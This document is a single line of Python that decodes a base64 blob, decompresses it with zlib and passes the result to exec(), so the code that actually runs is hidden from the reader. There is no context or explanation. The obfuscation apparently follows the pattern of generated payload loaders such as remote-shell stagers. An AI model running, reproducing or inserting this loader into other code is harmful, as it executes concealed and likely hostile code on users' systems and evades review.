exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+xd6SwTS0ZbeH4goiHkREsN5EZDeZ1rDZJCSpror/3YYULzO8N2/efOjJu5Dq6OSIiX8bPfChj7hpeEzhKBNPekKyd6Gea23r0NsDstUStqRK4esUq9iVZlESW/Mz3j3e3L/tnp9urx8g64R01qJMjNFGJOmFPQQ3Cu0oX7Vtu4asGgL2I6lwluhTts/zRTSInrVATFfWEkfrezkyenVHeRQB5QdrAF6Wr0R1Z2yAfL5rg7VByxRcmpOduvivLgoNBGeULF8uFEo3+YAxsvIEMWyaTCrMSv5DI93GXyB/VVVh1A==')[0])))